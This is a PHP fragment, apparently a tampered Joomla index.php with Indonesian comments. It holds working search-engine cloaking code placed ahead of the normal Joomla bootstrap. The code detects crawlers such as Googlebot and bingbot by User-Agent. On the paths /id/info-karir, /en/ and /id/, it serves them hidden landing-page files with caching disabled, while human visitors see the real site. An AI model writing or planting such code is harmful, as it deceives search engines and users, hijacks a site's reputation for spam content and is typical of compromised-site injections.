Tampilkan Landing Page * Manusia -> Tampilkan Joomla Asli */ // 1. Identifikasi Pengunjung & URL $ua = $_SERVER['HTTP_USER_AGENT'] ?? ''; $uri = $_SERVER['REQUEST_URI'] ?? ''; // 2. Daftar Bot (Lengkap untuk GSC Hijau) $is_bot = false; $bot_agents = [ 'Googlebot', 'Google-InspectionTool', 'Chrome-Lighthouse', 'bingbot', 'AdsBot-Google', 'Mediapartners-Google', 'Slurp', 'DuckDuckBot', 'Baiduspider', 'Yandex', 'facebookexternalhit', 'Twitterbot', 'rogerbot', 'LinkedInBot' ]; foreach ($bot_agents as $bot) { if (stripos($ua, $bot) !== false) { $is_bot = true; break; } } // 3. LOGIKA CLOAKING MULTI TARGET (Dengan Prioritas) $lp_file = null; if ($is_bot) { // Target 1: /id/info-karir (Prioritas tertinggi) if (stripos($uri, '/id/info-karir') !== false) { $lp_file = dirname(__FILE__) . '/lp.php'; } // Target 2: /en/ elseif (stripos($uri, '/en/') !== false || $uri === '/en' || $uri === '/en/') { $lp_file = dirname(__FILE__) . '/lp-en.php'; } // Target 3: /id/ (Root Indonesia) - Hanya jika bukan /id/info-karir elseif (stripos($uri, '/id/') !== false || $uri === '/id' || $uri === '/id/') { $lp_file = dirname(__FILE__) . '/lp-id.php'; } } // Jika bot dan mengakses salah satu target → tampilkan landing page if ($lp_file && file_exists($lp_file)) { header("HTTP/1.1 200 OK"); header("Content-Type: text/html; charset=UTF-8"); // Matikan cache agar Google selalu melihat versi terbaru header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0"); header("Pragma: no-cache"); header("Expires: 0"); include($lp_file); exit(); // Hentikan eksekusi, jangan jalankan Joomla } /** * 4. KODE ASLI JOOMLA (TIDAK BOLEH DIUBAH) * Hanya dijalankan untuk manusia atau bot di halaman lain */ define('JOOMLA_MINIMUM_PHP', '7.2.5'); if (version_compare(PHP_VERSION, JOOMLA_MINIMUM_PHP, '<')) { die( str_replace( '{{phpversion}}', JOOMLA_MINIMUM_PHP, file_get_contents(dirname(__FILE__) . '/templates/system/incompatible.html') ) ); } define('_JEXEC', 1); // Jalankan aplikasi Joomla require_once dirname(__FILE__) . '/includes/app.php';